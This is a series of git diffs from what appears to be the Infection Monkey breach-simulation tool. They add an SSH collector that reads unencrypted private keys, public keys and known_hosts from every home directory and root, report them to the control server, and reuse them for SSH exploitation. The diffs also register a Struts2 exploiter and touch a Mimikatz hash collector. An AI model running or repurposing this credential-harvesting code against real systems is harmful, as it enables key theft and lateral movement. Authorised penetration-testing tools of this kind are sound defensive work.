'private_key': None, 'known_hosts': None}
@staticmethod
def get_home_dirs():
root_dir = SSHCollector.get_ssh_struct('root', '')
home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall()
if x.pw_dir.startswith('/home')]
home_dirs.append(root_dir)
return home_dirs
@staticmethod
def get_ssh_files(usr_info):
for info in usr_info:
path = info['home_dir']
for directory in SSHCollector.default_dirs:
if os.path.isdir(path + directory):
try:
current_path = path + directory
# Searching for public key
if glob.glob(os.path.join(current_path, '*.pub')):
# Getting first file in current path with .pub extension(public key)
public = (glob.glob(os.path.join(current_path, '*.pub'))[0])
LOG.info("Found public key in %s" % public)
try:
with open(public) as f:
info['public_key'] = f.read()
# By default private key has the same name as public, only without .pub
private = os.path.splitext(public)[0]
if os.path.exists(private):
try:
with open(private) as f:
# no use from ssh key if it's encrypted
private_key = f.read()
if private_key.find('ENCRYPTED') == -1:
info['private_key'] = private_key
LOG.info("Found private key in %s" % private)
else:
continue
except (IOError, OSError):
pass
# By default known hosts file is called 'known_hosts'
known_hosts = os.path.join(current_path, 'known_hosts')
if os.path.exists(known_hosts):
try:
with open(known_hosts) as f:
info['known_hosts'] = f.read()
LOG.info("Found known_hosts in %s" % known_hosts)
except (IOError, OSError):
pass
# If private key found don't search more
if info['private_key']:
break
except (IOError, OSError):
pass
except OSError:
pass
usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts']
or info['public_key']]
return usr_info

View File

@ -1,6 +1,7 @@
import logging import logging
from . import InfoCollector from . import InfoCollector
from SSH_info_collector import SSHCollector
__author__ = 'uri' __author__ = 'uri'
@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector):
self.get_process_list() self.get_process_list()
self.get_network_info() self.get_network_info()
self.get_azure_info() self.get_azure_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info return self.info

View File

@ -24,7 +24,7 @@ class MimikatzCollector(object):
self._collect = collect_proto(("collect", self._dll)) self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll)) self._get = get_proto(("get", self._dll))
self._isInit = True self._isInit = True
except StandardError: except Exception:
LOG.exception("Error initializing mimikatz collector") LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self): def get_logon_info(self):
@ -71,7 +71,7 @@ class MimikatzCollector(object):
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary return logon_data_dictionary
except StandardError: except Exception:
LOG.exception("Error getting logon info") LOG.exception("Error getting logon info")
return {} return {}

View File

@ -1,45 +0,0 @@
# -*- coding: UTF-8 -*-
# NOTE: Launch all tests with `nosetests` command from infection_monkey dir.
import json
import unittest
from mock import Mock, patch
import control
from config import GUID
class ReportConfigErrorTestCase(unittest.TestCase):
"""
When unknown config variable received form the island server, skip it and report config
error back to the server.
"""
config_response = Mock(json=Mock(return_value={'config': {'blah': 'blah'}}))
def teardown(self):
patch.stopall()
def test_config(self):
patch('control.requests.patch', Mock()).start()
patch('control.WormConfiguration', Mock(current_server='127.0.0.1:123')).start()
# GIVEN the server with uknown config variable
patch('control.requests.get', Mock(return_value=self.config_response)).start()
# WHEN monkey tries to load config from server
control.ControlClient.load_control_config()
# THEN she reports config error back to the server
control.requests.patch.assert_called_once_with(
"https://127.0.0.1:123/api/monkey/%s" % GUID,
data=json.dumps({'config_error': True}),
headers={'content-type': 'application/json'},
verify=False,
proxies=control.ControlClient.proxies)
if __name__ == '__main__':
unittest.main()

View File

@ -32,12 +32,12 @@ class FTPServer(threading.Thread):
try: try:
func=getattr(self,cmd[:4].strip().upper()) func=getattr(self,cmd[:4].strip().upper())
func(cmd) func(cmd)
except Exception,e: except Exception as e:
self.conn.send('500 Sorry.\r\n') self.conn.send('500 Sorry.\r\n')
break break
self.conn.close() self.conn.close()
self.sock.close() self.sock.close()
def SYST(self,cmd): def SYST(self,cmd):
self.conn.send('215 UNIX Type: L8\r\n') self.conn.send('215 UNIX Type: L8\r\n')
@ -83,7 +83,7 @@ class FTPServer(threading.Thread):
def PASV(self,cmd): def PASV(self,cmd):
self.pasv_mode = True self.pasv_mode = True
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.servsock.bind((local_ip,0)) self.servsock.bind((self.local_ip,0))
self.servsock.listen(1) self.servsock.listen(1)
ip, port = self.servsock.getsockname() ip, port = self.servsock.getsockname()
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %

View File

@ -122,7 +122,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
address = (u.hostname, u.port or 443) address = (u.hostname, u.port or 443)
try: try:
conn = socket.create_connection(address) conn = socket.create_connection(address)
except socket.error, e: except socket.error as e:
LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e)) LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
self.send_error(504) # 504 Gateway Timeout self.send_error(504) # 504 Gateway Timeout
return return

View File

@ -63,7 +63,7 @@ class TcpProxy(TransportProxyBase):
try: try:
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dest.connect((self.dest_host, self.dest_port)) dest.connect((self.dest_host, self.dest_port))
except socket.error, ex: except socket.error as ex:
source.close() source.close()
dest.close() dest.close()
continue continue

View File

@ -14,6 +14,7 @@ from cc.resources.client_run import ClientRun
from cc.resources.edge import Edge from cc.resources.edge import Edge
from cc.resources.local_run import LocalRun from cc.resources.local_run import LocalRun
from cc.resources.log import Log from cc.resources.log import Log
from cc.resources.island_logs import IslandLog
from cc.resources.monkey import Monkey from cc.resources.monkey import Monkey
from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_configuration import MonkeyConfiguration
from cc.resources.monkey_download import MonkeyDownload from cc.resources.monkey_download import MonkeyDownload
@ -104,5 +105,6 @@ def init_app(mongo_url):
api.add_resource(Report, '/api/report', '/api/report/') api.add_resource(Report, '/api/report', '/api/report/')
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
return app return app

View File

@ -1,7 +1,11 @@
import json import json
import logging
import standard import standard
import aws import aws
logger = logging.getLogger(__name__)
ENV_DICT = { ENV_DICT = {
'standard': standard.StandardEnvironment, 'standard': standard.StandardEnvironment,
'aws': aws.AwsEnvironment 'aws': aws.AwsEnvironment
@ -18,6 +22,7 @@ def load_env_from_file():
try: try:
__env_type = load_env_from_file() __env_type = load_env_from_file()
env = ENV_DICT[__env_type]() env = ENV_DICT[__env_type]()
logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
except Exception: except Exception:
print('Failed initializing environment: %s' % __env_type) logger.error('Failed initializing environment', exc_info=True)
raise raise

View File

@ -0,0 +1,26 @@
import os
import json
import logging.config
__author__ = 'Maor.Rayzin'
def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'):
"""
Setup the logging configuration
:param default_path: the default log configuration file path
:param default_level: Default level to log from
:param env_key: SYS ENV key to use for external configuration file path
:return:
"""
path = default_path
value = os.getenv(env_key, None)
if value:
path = value
if os.path.exists(path):
with open(path, 'rt') as f:
config = json.load(f)
logging.config.dictConfig(config)
else:
logging.basicConfig(level=default_level)

View File

@ -0,0 +1,33 @@
{
"version": 1,
"disable_existing_loggers": false,
"formatters": {
"simple": {
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "INFO",
"handlers": ["console", "info_file_handler"]
}
}

View File

@ -2,19 +2,25 @@ from __future__ import print_function # In python 2.7
import os import os
import sys import sys
import time import time
import logging
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if BASE_PATH not in sys.path: if BASE_PATH not in sys.path:
sys.path.insert(0, BASE_PATH) sys.path.insert(0, BASE_PATH)
from cc.island_logger import json_setup_logging
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG)
logger = logging.getLogger(__name__)
from cc.app import init_app from cc.app import init_app
from cc.utils import local_ip_addresses from cc.utils import local_ip_addresses
from cc.environment.environment import env from cc.environment.environment import env
from cc.database import is_db_server_up from cc.database import is_db_server_up
if __name__ == '__main__':
def main():
from tornado.wsgi import WSGIContainer from tornado.wsgi import WSGIContainer
from tornado.httpserver import HTTPServer from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop from tornado.ioloop import IOLoop
@ -22,7 +28,7 @@ if __name__ == '__main__':
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
while not is_db_server_up(mongo_url): while not is_db_server_up(mongo_url):
print('Waiting for MongoDB server') logger.info('Waiting for MongoDB server')
time.sleep(1) time.sleep(1)
app = init_app(mongo_url) app = init_app(mongo_url)
@ -33,6 +39,10 @@ if __name__ == '__main__':
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) 'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
http_server.listen(env.get_island_port()) http_server.listen(env.get_island_port())
print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) logger.info(
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
IOLoop.instance().start() IOLoop.instance().start()
if __name__ == '__main__':
main()

View File

@ -1,3 +1,4 @@
import logging
from flask import request, jsonify from flask import request, jsonify
import flask_restful import flask_restful
@ -5,6 +6,8 @@ from cc.services.node import NodeService
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class ClientRun(flask_restful.Resource): class ClientRun(flask_restful.Resource):
def get(self): def get(self):
@ -17,6 +20,7 @@ class ClientRun(flask_restful.Resource):
if monkey is not None: if monkey is not None:
is_monkey_running = not monkey["dead"] is_monkey_running = not monkey["dead"]
else: else:
logger.info("Monkey is not running")
is_monkey_running = False is_monkey_running = False
return jsonify(is_running=is_monkey_running) return jsonify(is_running=is_monkey_running)

View File

@ -0,0 +1,19 @@
import logging
import flask_restful
from cc.auth import jwt_required
from cc.services.island_logs import IslandLogService
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
class IslandLog(flask_restful.Resource):
@jwt_required()
def get(self):
try:
return IslandLogService.get_log_file()
except Exception as e:
logger.error('Monkey Island logs failed to download', exc_info=True)

View File

@ -13,6 +13,8 @@ from cc.utils import local_ip_addresses
__author__ = 'Barak' __author__ = 'Barak'
import logging
logger = logging.getLogger(__name__)
def run_local_monkey(): def run_local_monkey():
import platform import platform
@ -32,6 +34,7 @@ def run_local_monkey():
copyfile(monkey_path, target_path) copyfile(monkey_path, target_path)
os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG)
except Exception as exc: except Exception as exc:
logger.error('Copy file failed', exc_info=True)
return False, "Copy file failed: %s" % exc return False, "Copy file failed: %s" % exc
# run the monkey # run the monkey
@ -41,6 +44,7 @@ def run_local_monkey():
args = "".join(args) args = "".join(args)
pid = subprocess.Popen(args, shell=True).pid pid = subprocess.Popen(args, shell=True).pid
except Exception as exc: except Exception as exc:
logger.error('popen failed', exc_info=True)
return False, "popen failed: %s" % exc return False, "popen failed: %s" % exc
return True, "pis: %s" % pid return True, "pis: %s" % pid

View File

@ -17,7 +17,7 @@ class MonkeyConfiguration(flask_restful.Resource):
@jwt_required() @jwt_required()
def post(self): def post(self):
config_json = json.loads(request.data) config_json = json.loads(request.data)
if config_json.has_key('reset'): if 'reset' in config_json:
ConfigService.reset_config() ConfigService.reset_config()
else: else:
ConfigService.update_config(config_json, should_encrypt=True) ConfigService.update_config(config_json, should_encrypt=True)

View File

@ -1,3 +1,4 @@
import logging
import json import json
import os import os
@ -6,6 +7,8 @@ import flask_restful
__author__ = 'Barak' __author__ = 'Barak'
logger = logging.getLogger(__name__)
MONKEY_DOWNLOADS = [ MONKEY_DOWNLOADS = [
{ {
@ -18,6 +21,11 @@ MONKEY_DOWNLOADS = [
'machine': 'i686', 'machine': 'i686',
'filename': 'monkey-linux-32', 'filename': 'monkey-linux-32',
}, },
{
'type': 'linux',
'machine': 'i386',
'filename': 'monkey-linux-32',
},
{ {
'type': 'linux', 'type': 'linux',
'filename': 'monkey-linux-64', 'filename': 'monkey-linux-64',
@ -32,6 +40,16 @@ MONKEY_DOWNLOADS = [
'machine': 'amd64', 'machine': 'amd64',
'filename': 'monkey-windows-64.exe', 'filename': 'monkey-windows-64.exe',
}, },
{
'type': 'windows',
'machine': '64',
'filename': 'monkey-windows-64.exe',
},
{
'type': 'windows',
'machine': '32',
'filename': 'monkey-windows-32.exe',
},
{ {
'type': 'windows', 'type': 'windows',
'filename': 'monkey-windows-32.exe', 'filename': 'monkey-windows-32.exe',
@ -42,7 +60,10 @@ MONKEY_DOWNLOADS = [
def get_monkey_executable(host_os, machine): def get_monkey_executable(host_os, machine):
for download in MONKEY_DOWNLOADS: for download in MONKEY_DOWNLOADS:
if host_os == download.get('type') and machine == download.get('machine'): if host_os == download.get('type') and machine == download.get('machine'):
logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine))
return download return download
logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}'
.format(host_os, machine))
return None return None

View File

@ -1,4 +1,5 @@
from datetime import datetime from datetime import datetime
import logging
import flask_restful import flask_restful
from flask import request, make_response, jsonify from flask import request, make_response, jsonify
@ -12,6 +13,8 @@ from cc.utils import local_ip_addresses
__author__ = 'Barak' __author__ = 'Barak'
logger = logging.getLogger(__name__)
class Root(flask_restful.Resource): class Root(flask_restful.Resource):
@ -42,6 +45,7 @@ class Root(flask_restful.Resource):
# We can't drop system collections. # We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config() ConfigService.init_config()
logger.info('DB was reset')
return jsonify(status='OK') return jsonify(status='OK')
@staticmethod @staticmethod
@ -50,6 +54,7 @@ class Root(flask_restful.Resource):
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
upsert=False, upsert=False,
multi=True) multi=True)
logger.info('Kill all monkeys was called')
return jsonify(status='OK') return jsonify(status='OK')
@staticmethod @staticmethod
@ -57,5 +62,8 @@ class Root(flask_restful.Resource):
def get_completed_steps(): def get_completed_steps():
is_any_exists = NodeService.is_any_monkey_exists() is_any_exists = NodeService.is_any_monkey_exists()
infection_done = NodeService.is_monkey_finished_running() infection_done = NodeService.is_monkey_finished_running()
report_done = ReportService.is_report_generated() if not infection_done:
report_done = False
else:
report_done = ReportService.is_report_generated()
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)

View File

@ -1,4 +1,5 @@
import json import json
import logging
import traceback import traceback
import copy import copy
from datetime import datetime from datetime import datetime
@ -17,6 +18,9 @@ from cc.encryptor import encryptor
__author__ = 'Barak' __author__ = 'Barak'
logger = logging.getLogger(__name__)
class Telemetry(flask_restful.Resource): class Telemetry(flask_restful.Resource):
@jwt_required() @jwt_required()
def get(self, **kw): def get(self, **kw):
@ -52,10 +56,9 @@ class Telemetry(flask_restful.Resource):
if telem_type in TELEM_PROCESS_DICT: if telem_type in TELEM_PROCESS_DICT:
TELEM_PROCESS_DICT[telem_type](telemetry_json) TELEM_PROCESS_DICT[telem_type](telemetry_json)
else: else:
print('Got unknown type of telemetry: %s' % telem_type) logger.info('Got unknown type of telemetry: %s' % telem_type)
except StandardError as ex: except Exception as ex:
print("Exception caught while processing telemetry: %s" % str(ex)) logger.error("Exception caught while processing telemetry", exc_info=True)
traceback.print_exc()
telem_id = mongo.db.telemetry.insert(telemetry_json) telem_id = mongo.db.telemetry.insert(telemetry_json)
return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@ -130,7 +133,7 @@ class Telemetry(flask_restful.Resource):
for attempt in telemetry_json['data']['attempts']: for attempt in telemetry_json['data']['attempts']:
if attempt['result']: if attempt['result']:
found_creds = {'user': attempt['user']} found_creds = {'user': attempt['user']}
for field in ['password', 'lm_hash', 'ntlm_hash']: for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
if len(attempt[field]) != 0: if len(attempt[field]) != 0:
found_creds[field] = attempt[field] found_creds[field] = attempt[field]
NodeService.add_credentials_to_node(edge['to'], found_creds) NodeService.add_credentials_to_node(edge['to'], found_creds)
@ -167,12 +170,24 @@ class Telemetry(flask_restful.Resource):
@staticmethod @staticmethod
def process_system_info_telemetry(telemetry_json): def process_system_info_telemetry(telemetry_json):
if 'ssh_info' in telemetry_json['data']:
ssh_info = telemetry_json['data']['ssh_info']
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
if telemetry_json['data']['network_info']['networks']:
# We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
if 'credentials' in telemetry_json['data']: if 'credentials' in telemetry_json['data']:
creds = telemetry_json['data']['credentials'] creds = telemetry_json['data']['credentials']
Telemetry.encrypt_system_info_creds(creds) Telemetry.encrypt_system_info_creds(creds)
Telemetry.add_system_info_creds_to_config(creds) Telemetry.add_system_info_creds_to_config(creds)
Telemetry.replace_user_dot_with_comma(creds) Telemetry.replace_user_dot_with_comma(creds)
@staticmethod
def add_ip_to_ssh_keys(ip, ssh_info):
for key in ssh_info:
key['ip'] = ip['addr']
@staticmethod @staticmethod
def process_trace_telemetry(telemetry_json): def process_trace_telemetry(telemetry_json):
# Nothing to do # Nothing to do
@ -193,6 +208,13 @@ class Telemetry(flask_restful.Resource):
# this encoding is because we might run into passwords which are not pure ASCII # this encoding is because we might run into passwords which are not pure ASCII
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
@staticmethod
def encrypt_system_info_ssh_keys(ssh_info):
for idx, user in enumerate(ssh_info):
for field in ['public_key', 'private_key', 'known_hosts']:
if ssh_info[idx][field]:
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
@staticmethod @staticmethod
def add_system_info_creds_to_config(creds): def add_system_info_creds_to_config(creds):
for user in creds: for user in creds:
@ -204,6 +226,15 @@ class Telemetry(flask_restful.Resource):
if 'ntlm_hash' in creds[user]: if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
@staticmethod
def add_system_info_ssh_keys_to_config(ssh_info):
for user in ssh_info:
ConfigService.creds_add_username(user['name'])
# Public key is useless without private key
if user['public_key'] and user['private_key']:
ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
user['name'], user['ip'])
@staticmethod @staticmethod
def encrypt_exploit_creds(telemetry_json): def encrypt_exploit_creds(telemetry_json):
attempts = telemetry_json['data']['attempts'] attempts = telemetry_json['data']['attempts']

View File

@ -1,7 +1,9 @@
import copy import copy
import collections import collections
import functools import functools
import logging
from jsonschema import Draft4Validator, validators from jsonschema import Draft4Validator, validators
from six import string_types
from cc.database import mongo from cc.database import mongo
from cc.encryptor import encryptor from cc.encryptor import encryptor
@ -10,6 +12,8 @@ from cc.utils import local_ip_addresses
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
WARNING_SIGN = u" \u26A0" WARNING_SIGN = u" \u26A0"
SCHEMA = { SCHEMA = {
@ -76,6 +80,13 @@ SCHEMA = {
], ],
"title": "ElasticGroovy Exploiter" "title": "ElasticGroovy Exploiter"
}, },
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
}
] ]
}, },
"finger_classes": { "finger_classes": {
@ -117,6 +128,14 @@ SCHEMA = {
], ],
"title": "MySQLFinger" "title": "MySQLFinger"
}, },
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{ {
"type": "string", "type": "string",
"enum": [ "enum": [
@ -363,6 +382,7 @@ SCHEMA = {
"PingScanner", "PingScanner",
"HTTPFinger", "HTTPFinger",
"MySQLFinger", "MySQLFinger",
"MSSQLFinger",
"ElasticFinger" "ElasticFinger"
], ],
"description": "Determines which classes to use for fingerprinting" "description": "Determines which classes to use for fingerprinting"
@ -504,6 +524,16 @@ SCHEMA = {
}, },
"default": [], "default": [],
"description": "List of NTLM hashes to use on exploits using credentials" "description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
} }
} }
}, },
@ -595,7 +625,8 @@ SCHEMA = {
"SSHExploiter", "SSHExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"ElasticGroovyExploiter" "ElasticGroovyExploiter",
"Struts2Exploiter"
], ],
"description": "description":
"Determines which exploits to use. " + WARNING_SIGN "Determines which exploits to use. " + WARNING_SIGN
@ -800,7 +831,8 @@ ENCRYPTED_CONFIG_ARRAYS = \
[ [
['basic', 'credentials', 'exploit_password_list'], ['basic', 'credentials', 'exploit_password_list'],
['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_lm_hash_list'],
['internal', 'exploits', 'exploit_ntlm_hash_list'] ['internal', 'exploits', 'exploit_ntlm_hash_list'],
['internal', 'exploits', 'exploit_ssh_keys']
] ]
@ -888,11 +920,24 @@ class ConfigService:
def creds_add_ntlm_hash(ntlm_hash): def creds_add_ntlm_hash(ntlm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod
def ssh_add_keys(public_key, private_key, user, ip):
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'],
False, False), user, ip):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
{"public_key": public_key, "private_key": private_key,
"user": user, "ip": ip})
@staticmethod
def ssh_key_exists(keys, user, ip):
return [key for key in keys if key['user'] == user and key['ip'] == ip]
@staticmethod @staticmethod
def update_config(config_json, should_encrypt): def update_config(config_json, should_encrypt):
if should_encrypt: if should_encrypt:
ConfigService.encrypt_config(config_json) ConfigService.encrypt_config(config_json)
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
logger.info('monkey config was updated')
@staticmethod @staticmethod
def init_default_config(): def init_default_config():
@ -908,6 +953,7 @@ class ConfigService:
config = copy.deepcopy(ConfigService.default_config) config = copy.deepcopy(ConfigService.default_config)
if should_encrypt: if should_encrypt:
ConfigService.encrypt_config(config) ConfigService.encrypt_config(config)
logger.info("Default config was called")
return config return config
@staticmethod @staticmethod
@ -921,6 +967,7 @@ class ConfigService:
config = ConfigService.get_default_config(True) config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config) ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config, should_encrypt=False) ConfigService.update_config(config, should_encrypt=False)
logger.info('Monkey config reset was called')
@staticmethod @staticmethod
def set_server_ips_in_config(config): def set_server_ips_in_config(config):
@ -937,6 +984,7 @@ class ConfigService:
initial_config['name'] = 'initial' initial_config['name'] = 'initial'
initial_config.pop('_id') initial_config.pop('_id')
mongo.db.config.insert(initial_config) mongo.db.config.insert(initial_config)
logger.info('Monkey config was inserted to mongo and saved')
@staticmethod @staticmethod
def _extend_config_with_default(validator_class): def _extend_config_with_default(validator_class):
@ -978,8 +1026,12 @@ class ConfigService:
""" """
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys: for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] # Check if we are decrypting ssh key pair
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
else:
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
else: else:
flat_config[key] = encryptor.dec(flat_config[key]) flat_config[key] = encryptor.dec(flat_config[key])
return flat_config return flat_config
@ -992,4 +1044,19 @@ class ConfigService:
config_arr = config_arr[config_key_part] config_arr = config_arr[config_key_part]
for i in range(len(config_arr)): for i in range(len(config_arr)):
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) # Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
@staticmethod
def decrypt_ssh_key_pair(pair, encrypt=False):
if encrypt:
pair['public_key'] = encryptor.enc(pair['public_key'])
pair['private_key'] = encryptor.enc(pair['private_key'])
else:
pair['public_key'] = encryptor.dec(pair['public_key'])
pair['private_key'] = encryptor.dec(pair['private_key'])
return pair

View File

@ -0,0 +1,32 @@
import logging
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
class IslandLogService:
def __init__(self):
pass
@staticmethod
def get_log_file():
"""
This static function is a helper function for the monkey island log download function.
It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler
has the property handler.baseFilename.
:return:
a dict with the log file content.
"""
logger_handlers = logger.parent.handlers
for handler in logger_handlers:
if hasattr(handler, 'baseFilename'):
logger.info('Log file found: {0}'.format(handler.baseFilename))
log_file_path = handler.baseFilename
with open(log_file_path, 'rt') as f:
log_file = f.read()
return {
'log_file': log_file
}
logger.warning('No log file could be found, check logger config.')
return None

View File

@ -1,6 +1,9 @@
import ipaddress import ipaddress
import logging
from enum import Enum from enum import Enum
from six import text_type
from cc.database import mongo from cc.database import mongo
from cc.services.config import ConfigService from cc.services.config import ConfigService
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
@ -10,6 +13,9 @@ from cc.utils import local_ip_addresses, get_subnets
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
class ReportService: class ReportService:
def __init__(self): def __init__(self):
pass pass
@ -24,6 +30,7 @@ class ReportService:
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter'
} }
class ISSUES_DICT(Enum): class ISSUES_DICT(Enum):
@ -34,6 +41,8 @@ class ReportService:
SHELLSHOCK = 4 SHELLSHOCK = 4
CONFICKER = 5 CONFICKER = 5
AZURE = 6 AZURE = 6
STOLEN_SSH_KEYS = 7
STRUTS2 = 8
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
@ -77,6 +86,8 @@ class ReportService:
creds = ReportService.get_azure_creds() creds = ReportService.get_azure_creds()
machines = set([instance['origin'] for instance in creds]) machines = set([instance['origin'] for instance in creds])
logger.info('Azure issues generated for reporting')
return [ return [
{ {
'type': 'azure_password', 'type': 'azure_password',
@ -103,6 +114,8 @@ class ReportService:
} }
for node in nodes] for node in nodes]
logger.info('Scanned nodes generated for reporting')
return nodes return nodes
@staticmethod @staticmethod
@ -124,6 +137,8 @@ class ReportService:
} }
for monkey in exploited] for monkey in exploited]
logger.info('Exploited nodes generated for reporting')
return exploited return exploited
@staticmethod @staticmethod
@ -147,6 +162,28 @@ class ReportService:
'origin': origin 'origin': origin
} }
) )
logger.info('Stolen creds generated for reporting')
return creds
@staticmethod
def get_ssh_keys():
"""
